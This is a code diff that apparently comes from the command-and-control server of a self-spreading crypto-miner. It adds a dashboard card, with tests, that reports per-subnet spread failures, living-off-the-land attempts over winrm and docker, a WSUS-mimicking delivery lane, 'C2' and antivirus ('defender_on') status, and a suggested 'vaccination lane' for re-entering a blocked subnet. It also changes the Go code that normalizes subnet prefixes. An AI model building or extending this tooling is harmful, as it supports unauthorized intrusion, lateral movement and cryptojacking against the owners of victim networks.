diff --git a/server/internal/atlas/subnet_immune.go b/server/internal/atlas/subnet_immune.go
index 878d631..5cd798e 100644
--- a/server/internal/atlas/subnet_immune.go
+++ b/server/internal/atlas/subnet_immune.go
@@ -1,6 +1,7 @@
 package atlas
 
 import (
+	"strings"
 	"time"
 
 	"crypto-miner-server/internal/db"
@@ -22,7 +23,18 @@ func NewSubnetImmune(database *db.Database) *SubnetImmune {
 
 // PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
 func PrefixFromHostOrIP(hostOrSubnet string) string {
-	return SubnetPrefix(hostOrSubnet)
+	s := strings.TrimSpace(hostOrSubnet)
+	s = strings.TrimSuffix(s, ".x")
+	s = strings.TrimSuffix(s, ".0/24")
+	s = strings.TrimSuffix(s, "/24")
+	if prefix := SubnetPrefix(s); prefix != "" {
+		return prefix
+	}
+	parts := strings.Split(s, ".")
+	if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" {
+		return strings.Join(parts[:3], ".")
+	}
+	return ""
 }
 
 // RecordSpreadFailure increments subnet failure count; returns true when pause activates.
diff --git a/server/internal/atlas/subnet_immune_test.go b/server/internal/atlas/subnet_immune_test.go
index 8c11162..0bd45d8 100644
--- a/server/internal/atlas/subnet_immune_test.go
+++ b/server/internal/atlas/subnet_immune_test.go
@@ -42,4 +42,10 @@ func TestPrefixFromHostOrIP(t *testing.T) {
 	if got := PrefixFromHostOrIP("172.16.5.9"); got != "172.16.5" {
 		t.Fatalf("prefix=%q", got)
 	}
+	if got := PrefixFromHostOrIP("10.0.0.x"); got != "10.0.0" {
+		t.Fatalf("label prefix=%q", got)
+	}
+	if got := PrefixFromHostOrIP("10.2.2"); got != "10.2.2" {
+		t.Fatalf("bare prefix=%q", got)
+	}
 }
diff --git a/server/web/src/components/Atlas/SubnetAutopsyCard.css b/server/web/src/components/Atlas/SubnetAutopsyCard.css
new file mode 100644
index 0000000..2a6aa2e
--- /dev/null
+++ b/server/web/src/components/Atlas/SubnetAutopsyCard.css
@@ -0,0 +1,84 @@
+.subnet-autopsy-card {
+  --deck-card-accent-bar: #f43f5e;
+  margin-top: 1rem;
+  padding: 1rem 1.1rem;
+  border-left: 3px solid var(--deck-card-accent-bar, #f43f5e);
+}
+
+.subnet-autopsy-card--compact {
+  font-size: 0.85rem;
+}
+
+.subnet-autopsy-card--loading {
+  opacity: 0.7;
+  font-family: var(--font-mono, monospace);
+  font-size: 0.8rem;
+}
+
+.subnet-autopsy-header h3 {
+  margin: 0.2rem 0 0.5rem;
+  font-size: 1rem;
+}
+
+.subnet-autopsy-eyebrow {
+  font-size: 0.65rem;
+  letter-spacing: 0.12em;
+  color: #f43f5e;
+  font-family: var(--font-tech, monospace);
+}
+
+.subnet-autopsy-cause {
+  white-space: pre-wrap;
+  font-size: 0.82rem;
+  line-height: 1.45;
+  margin: 0 0 0.75rem;
+  color: #e8edf5;
+}
+
+.subnet-autopsy-grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
+  gap: 0.5rem 1rem;
+  margin-bottom: 0.75rem;
+}
+
+.subnet-autopsy-label {
+  display: block;
+  font-size: 0.62rem;
+  text-transform: uppercase;
+  letter-spacing: 0.08em;
+  color: #8899aa;
+  margin-bottom: 0.15rem;
+}
+
+.subnet-autopsy-value {
+  font-family: var(--font-mono, monospace);
+  font-size: 0.78rem;
+}
+
+.subnet-autopsy-attempts ul,
+.subnet-autopsy-gossip ul {
+  margin: 0.25rem 0 0;
+  padding-left: 1.1rem;
+  font-family: var(--font-mono, monospace);
+  font-size: 0.75rem;
+}
+
+.subnet-autopsy-attempts li.fail {
+  color: #ff8a7a;
+}
+
+.subnet-autopsy-attempts li.ok {
+  color: #7dffb2;
+}
+
+.subnet-autopsy-vaccination {
+  margin-top: 0.65rem;
+  padding-top: 0.65rem;
+  border-top: 1px solid rgba(255, 255, 255, 0.08);
+}
+
+.subnet-autopsy-vaccination p {
+  margin: 0.2rem 0 0;
+  font-size: 0.8rem;
+}
diff --git a/server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx b/server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx
new file mode 100644
index 0000000..03a31ae
--- /dev/null
+++ b/server/web/src/components/Atlas/SubnetAutopsyCard.test.tsx
@@ -0,0 +1,61 @@
+import { render, screen, waitFor } from '@testing-library/react';
+import { describe, expect, it, vi, beforeEach } from 'vitest';
+import * as api from '../../api/client';
+import SubnetAutopsyCard from './SubnetAutopsyCard';
+
+describe('SubnetAutopsyCard', () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it('renders cause-of-death and vaccination lane for paused subnet', async () => {
+    vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
+      prefix: '10.0.0',
+      triggered_at: '2026-06-07T12:00:00Z',
+      fail_count: 5,
+      lotl_attempts: [{ tier: 'winrm', ok: false, error: 'denied' }],
+      wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
+      persona: 'silent',
+      erasure_fallback: { erasure_lanes_enabled: true, available_as_fallback: true },
+      gossip_whispers: [{ tier: 'docker', condition: 'defender_on', reason: 'lan gossip' }],
+      cause_of_death: 'Subnet 10.0.0 immune pause: 5 spread failures triggered 24h quarantine.',
+      vaccination_lane: {
+        target_subnet: '10.0.0',
+        seed_agent_id: 'seed-1',
+        seed_agent_name: 'Seed Hop',
+        egress_agent_id: 'seed-1',
+        join_lane: 'do_peer',
+        score: 0.82,
+      },
+    });
+
+    render(<SubnetAutopsyCard subnet="10.0.0.x" />);
+
+    await waitFor(() => {
+      expect(screen.getByText(/immune pause/i)).toBeInTheDocument();
+    });
+    expect(screen.getByText(/Seed Hop/)).toBeInTheDocument();
+    expect(screen.getByText(/winrm/)).toBeInTheDocument();
+    expect(screen.getByText(/docker @ defender_on/)).toBeInTheDocument();
+  });
+
+  it('renders nothing when subnet is not paused', async () => {
+    vi.spyOn(api.api, 'getSubnetAutopsy').mockResolvedValue({
+      prefix: '10.0.0',
+      triggered_at: '2026-06-07T12:00:00Z',
+      fail_count: 2,
+      lotl_attempts: [],
+      wsus_mimic: { format_mimic_enabled: true, cache_peer_lane: 'wsus_cache_peer' },
+      persona: 'balanced',
+      erasure_fallback: { erasure_lanes_enabled: false, available_as_fallback: false },
+      gossip_whispers: [],
+      cause_of_death: '',
+    });
+
+    const { container } = render(<SubnetAutopsyCard subnet="10.0.0" />);
+    await waitFor(() => {
+      expect(api.api.getSubnetAutopsy).toHaveBeenCalled();
+    });
+    expect(container).toBeEmptyDOMElement();
+  });
+});
diff --git a/server/web/src/components/Atlas/SubnetAutopsyCard.tsx b/server/web/src/components/Atlas/SubnetAutopsyCard.tsx
new file mode 100644
index 0000000..5f5504b
--- /dev/null
+++ b/server/web/src/components/Atlas/SubnetAutopsyCard.tsx
@@ -0,0 +1,136 @@
+import { useEffect, useState } from 'react';
+import { api } from '../../api/client';
+import type { SubnetAutopsyPacket } from '../../types';
+import { HelpTip } from '../HelpTip';
+import './SubnetAutopsyCard.css';
+
+interface Props {
+  subnet: string;
+  compact?: boolean;
+}
+
+export default function SubnetAutopsyCard({ subnet, compact = false }: Props) {
+  const [packet, setPacket] = useState<SubnetAutopsyPacket | null>(null);
+  const [error, setError] = useState('');
+  const [loading, setLoading] = useState(false);
+
+  useEffect(() => {
+    const prefix = subnet.trim();
+    if (!prefix) {
+      setPacket(null);
+      return;
+    }
+    let cancelled = false;
+    setLoading(true);
+    setError('');
+    api.getSubnetAutopsy(prefix)
+      .then((pkt) => {
+        if (!cancelled) setPacket(pkt);
+      })
+      .catch((e: unknown) => {
+        if (!cancelled) {
+          setError(e instanceof Error ? e.message : 'Autopsy unavailable');
+          setPacket(null);
+        }
+      })
+      .finally(() => {
+        if (!cancelled) setLoading(false);
+      });
+    return () => { cancelled = true; };
+  }, [subnet]);
+
+  if (!subnet.trim()) return null;
+  if (loading && !packet) {
+    return <div className="subnet-autopsy-card subnet-autopsy-card--loading">Loading immune autopsy…</div>;
+  }
+  if (error && !packet) {
+    return null;
+  }
+  if (!packet || packet.fail_count < 5) {
+    return null;
+  }
+
+  const lane = packet.vaccination_lane;
+
+  return (
+    <section
+      className={`subnet-autopsy-card operator-deck-card${compact ? ' subnet-autopsy-card--compact' : ''}`}
+      aria-label={`Subnet immune autopsy for ${packet.prefix}`}
+    >
+      <header className="subnet-autopsy-header">
+        <span className="subnet-autopsy-eyebrow">IMMUNE RESPONSE</span>
+        <h3>
+          /24 Autopsy — {packet.prefix}.x
+          <HelpTip field="subnet_immune_autopsy" />
+        </h3>
+      </header>
+
+      <p className="subnet-autopsy-cause">{packet.cause_of_death}</p>
+
+      <div className="subnet-autopsy-grid">
+        <div>
+          <span className="subnet-autopsy-label">Persona</span>
+          <span className="subnet-autopsy-value">{packet.persona}</span>
+        </div>
+        <div>
+          <span className="subnet-autopsy-label">WSUS mimic</span>
+          <span className="subnet-autopsy-value">
+            {packet.wsus_mimic.format_mimic_enabled ? 'cab.partial on' : 'off'}
+            {packet.wsus_mimic.recent_join_lane ? ` · ${packet.wsus_mimic.recent_join_lane}` : ''}
+          </span>
+        </div>
+        <div>
+          <span className="subnet-autopsy-label">Erasure fallback</span>
+          <span className="subnet-autopsy-value">
+            {packet.erasure_fallback.available_as_fallback ? 'RS lanes ready' : 'C2 primary'}
+          </span>
+        </div>
+        <div>
+          <span className="subnet-autopsy-label">Failures</span>
+          <span className="subnet-autopsy-value">{packet.fail_count} → 24h pause</span>
+        </div>
+      </div>
+
+      {packet.lotl_attempts.length > 0 && (
+        <div className="subnet-autopsy-attempts">
+          <span className="subnet-autopsy-label">Last LOTL attempts</span>
+          <ul>
+            {packet.lotl_attempts.map((a, i) => (
+              <li key={`${a.tier}-${i}`} className={a.ok ? 'ok' : 'fail'}>
+                {a.tier}
+                {a.agent_name ? ` (${a.agent_name})` : ''}
+                {a.ok ? ' ✓' : ` ✗ ${a.error ?? ''}`}
+              </li>
+            ))}
+          </ul>
+        </div>
+      )}
+
+      {packet.gossip_whispers.length > 0 && (
+        <div className="subnet-autopsy-gossip">
+          <span className="subnet-autopsy-label">Atlas gossip whispers</span>
+          <ul>
+            {packet.gossip_whispers.map((h, i) => (
+              <li key={`${h.tier}-${h.condition}-${i}`}>
+                {h.tier} @ {h.condition}
+                {h.reason ? ` — ${h.reason}` : ''}
+              </li>
+            ))}
+          </ul>
+        </div>
+      )}
+
+      {lane && (
+        <div className="subnet-autopsy-vaccination">
+          <span className="subnet-autopsy-label">Vaccination lane</span>
+          <p>
+            Route via <strong>{lane.seed_agent_name ?? lane.seed_agent_id.slice(0, 8)}</strong>
+            {lane.join_lane ? ` · ${lane.join_lane}` : ''}
+            {lane.erasure_lanes_enabled ? ' · RS lanes' : ''}
+            {lane.score ? ` · score ${lane.score.toFixed(2)}` : ''}
+          </p>
+        </div>
+      )}
+    </section>
+  );
+}
diff --git a/server/web/src/help/subnetAutopsy.test.ts b/server/web/src/help/subnetAutopsy.test.ts
new file mode 100644
index 0000000..9380c07
--- /dev/null
+++ b/server/web/src/help/subnetAutopsy.test.ts
@@ -0,0 +1,27 @@
+import { describe, expect, it } from 'vitest';
+import { parseSeerSubnetAutopsy, subnetAutopsyPrefix } from './subnetAutopsy';
+
+describe('subnetAutopsy helpers', () => {
+  it('parses seer subnet immune autopsy events', () => {
+    const ev = parseSeerSubnetAutopsy({
+      type: 'subnet_immune_autopsy',
+      prefix: '10.0.0',
+      cause: 'Subnet 10.0.0 immune pause',
+      packet: { prefix: '10.0.0', fail_count: 5, cause_of_death: 'paused' },
+    });
+    expect(ev?.prefix).toBe('10.0.0');
+    expect(ev?.cause).toContain('immune pause');
+    expect(ev?.packet?.fail_count).toBe(5);
+  });
+
+  it('rejects non-autopsy seer payloads', () => {
+    expect(parseSeerSubnetAutopsy({ type: 'court_debate' })).toBeNull();
+    expect(parseSeerSubnetAutopsy(null)).toBeNull();
+  });
+
+  it('normalizes subnet labels to /24 prefix', () => {
+    expect(subnetAutopsyPrefix('10.0.0.x')).toBe('10.0.0');
+    expect(subnetAutopsyPrefix('10.0.0/24')).toBe('10.0.0');
+    expect(subnetAutopsyPrefix('192.168.5.12')).toBe('192.168.5');
+  });
+});
diff --git a/server/web/src/help/subnetAutopsy.ts b/server/web/src/help/subnetAutopsy.ts
new file mode 100644
index 0000000..d67211c
--- /dev/null
+++ b/server/web/src/help/subnetAutopsy.ts
@@ -0,0 +1,34 @@
+import type { SubnetAutopsyPacket } from '../types';
+
+export interface SeerSubnetAutopsyEvent {
+  type: 'subnet_immune_autopsy';
+  prefix: string;
+  triggered?: string;
+  cause?: string;
+  packet?: SubnetAutopsyPacket;
+}
+
+export function parseSeerSubnetAutopsy(payload: unknown): SeerSubnetAutopsyEvent | null {
+  if (!payload || typeof payload !== 'object') return null;
+  const raw = payload as Record<string, unknown>;
+  if (raw.type !== 'subnet_immune_autopsy') return null;
+  const prefix = typeof raw.prefix === 'string' ? raw.prefix.trim() : '';
+  if (!prefix) return null;
+  return {
+    type: 'subnet_immune_autopsy',
+    prefix,
+    triggered: typeof raw.triggered === 'string' ? raw.triggered : undefined,
+    cause: typeof raw.cause === 'string' ? raw.cause : undefined,
+    packet: raw.packet as SubnetAutopsyPacket | undefined,
+  };
+}
+
+/** Normalize subnet labels to /24 prefix keys used by the API. */
+export function subnetAutopsyPrefix(label: string): string {
+  const s = label.trim().replace(/\.x$/i, '').replace(/\/24$/, '');
+  const parts = s.split('.');
+  if (parts.length >= 3) {
+    return `${parts[0]}.${parts[1]}.${parts[2]}`;
+  }
+  return s;
+}